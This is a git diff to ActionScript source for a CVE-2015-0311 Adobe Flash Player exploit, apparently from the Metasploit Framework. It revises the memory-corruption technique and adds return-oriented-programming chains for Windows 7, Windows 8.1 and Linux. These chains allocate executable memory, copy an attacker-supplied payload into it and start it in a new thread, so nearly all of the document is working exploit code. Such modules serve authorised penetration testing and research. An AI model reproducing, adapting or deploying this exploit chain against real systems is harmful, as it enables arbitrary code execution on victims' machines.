diff --git a/external/source/exploits/CVE-2015-0311/Exploit.as b/external/source/exploits/CVE-2015-0311/Exploit.as index 0e63483803..89a62606e8 100644 --- a/external/source/exploits/CVE-2015-0311/Exploit.as +++ b/external/source/exploits/CVE-2015-0311/Exploit.as @@ -24,22 +24,22 @@ package private var ba:ByteArray = new ByteArray() private var exploiter:Exploiter private var b64:Base64Decoder = new Base64Decoder() - private var payload:String + private var payload:ByteArray private var platform:String - private var massage:Vector. = new Vector.(10000) + private var os:String public function Exploit() { platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() + b64.decode(b64_payload) + payload = b64.toByteArray() - for (var i:uint = 0; i < massage.length / 2; i++) { - massage[i] = new Vector.(0x3e0) - } + // defrag + for (var i:uint = 0; i < 10000; i++) new Vector.(0x3e0) for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++) ba.compress() @@ -49,10 +49,8 @@ package try { ba.uncompress() } catch (e:Error) { } - - for (i = massage.length / 2; i < massage.length; i++) { - massage[i] = new Vector.(0x3e0) - } + uv = new Vector.(0x3e0) + uv[0] = 0 var test:uint = li32(0) if (test == 0x3e0) { @@ -61,22 +59,8 @@ package Logger.log('[*] Exploit - corruption fail: ' + test.toString(16)) return // something failed } - - for (i = 0; i < massage.length; i++) { - if (massage[i].length == 0x3e0) { - massage[i] = null - } else { - Logger.log('[*] Exploit - corrupted vector found at ' + i) - uv = massage[i] - uv[0] = 0 - } - } - - if (uv.length != 0xffffffff) - return - - exploiter = new Exploiter(this, platform, payload, uv) + exploiter = new Exploiter(this, platform, os, payload, uv) } } diff --git a/external/source/exploits/CVE-2015-0311/ExploitByteArray.as b/external/source/exploits/CVE-2015-0311/ExploitByteArray.as index 0da3b307b4..a8da46df7b 100644 --- a/external/source/exploits/CVE-2015-0311/ExploitByteArray.as +++ b/external/source/exploits/CVE-2015-0311/ExploitByteArray.as @@ -31,7 +31,6 @@ package public function lets_ready():void { - Logger.log("[*] ExploitByteArray - lets_ready()") ba.endian = "littleEndian" if (platform == "linux") { ba.length = 0xffffffff @@ -40,7 +39,6 @@ package public function is_ready():Boolean { - Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16)) if (ba.length == 0xffffffff) return true @@ -72,10 +70,15 @@ package public function write(addr:uint, value:* = 0, zero:Boolean = true):void { + var i:uint + if (addr) ba.position = addr if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) } else ba.writeUnsignedInt(value) } } diff --git a/external/source/exploits/CVE-2015-0311/Exploiter.as b/external/source/exploits/CVE-2015-0311/Exploiter.as index 99b41d1f8a..9975dc8b6e 100644 --- a/external/source/exploits/CVE-2015-0311/Exploiter.as +++ b/external/source/exploits/CVE-2015-0311/Exploiter.as @@ -9,8 +9,9 @@ package private var exploit:Exploit private var ev:ExploitVector private var eba:ExploitByteArray - private var payload:String + private var payload:ByteArray private var platform:String + private var op_system:String private var pos:uint private var byte_array_object:uint private var main:uint @@ -23,13 +24,14 @@ package private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) - private var spray:Vector. = new Vector.(80000) + private var spray:Vector. = new Vector.(89698) - public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.):void + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void { exploit = exp payload = p platform = pl + op_system = os ev = new ExploitVector(uv) if (!ev.is_ready()) return @@ -133,12 +135,19 @@ package private function do_rop():void { Logger.log("[*] Exploiter - do_rop()") - if (platform == "linux") + if (platform == "linux") { do_rop_linux() - else if (platform == "win") - do_rop_windows() - else + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { return + } } private function do_rop_windows():void @@ -147,11 +156,15 @@ package var pe:PE = new PE(eba) var flash:uint = pe.base(vtable) var winmm:uint = pe.module("winmm.dll", flash) - var kernel32:uint = pe.module("kernel32.dll", winmm) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) - var winexec:uint = pe.procedure("WinExec", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) // Continuation of execution eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable @@ -169,16 +182,101 @@ package eba.write(0, virtualprotect) // VirtualProtect - eba.write(0, winexec) + eba.write(0, virtualalloc) eba.write(0, buffer + 0x10) eba.write(0, 0x1000) eba.write(0, 0x40) eba.write(0, buffer + 0x8) // Writable address (4 bytes) - // WinExec - eba.write(0, buffer + 0x10) + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) eba.write(0, payload_address + 8) - eba.write(0) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) eba.write(main, stack_address + 0x18000) // overwrite with fake vtable exploit.toString() // call method in the fake vtable @@ -192,6 +290,8 @@ package var libc:Elf = new Elf(eba, feof) var popen:uint = libc.symbol("popen") var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) @@ -204,9 +304,21 @@ package // 2) Recover original stack eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + // Put the popen parameters in memory - eba.write(payload_address + 8, 'r', true) // type - eba.write(payload_address + 0xc, payload, true) // command + eba.write(payload_address + 0x8, payload, true) // false // Put the fake stack/vtable on memory eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot @@ -221,13 +333,49 @@ package eba.write(0, buffer) // addr eba.write(0, 0x1000) // size eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC - // Return to popen() - eba.write(stack_address + 0x18068, popen) + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) // Return to CoE (fix stack and object vtable) eba.write(0, buffer + 0x10) - // popen() argument - eba.write(0, payload_address + 0xc) - eba.write(0, payload_address + 8) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args //call DWORD PTR [eax+0x24] //EAX: 0x41414141 ('AAAA') diff --git a/external/source/exploits/CVE-2015-0311/PE.as b/external/source/exploits/CVE-2015-0311/PE.as index a80ade9321..8753586477 100644 --- a/external/source/exploits/CVE-2015-0311/PE.as +++ b/external/source/exploits/CVE-2015-0311/PE.as @@ -11,7 +11,6 @@ package public function base(addr:uint):uint { - Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16)) addr &= 0xffff0000 while (true) { if (eba.read(addr) == 0x00905a4d) return addr @@ -54,10 +53,20 @@ package public function gadget(gadget:String, hint:uint, addr:uint):uint { var find:uint = 0 + var contents:uint = 0 var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break - return addr + i + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() } } }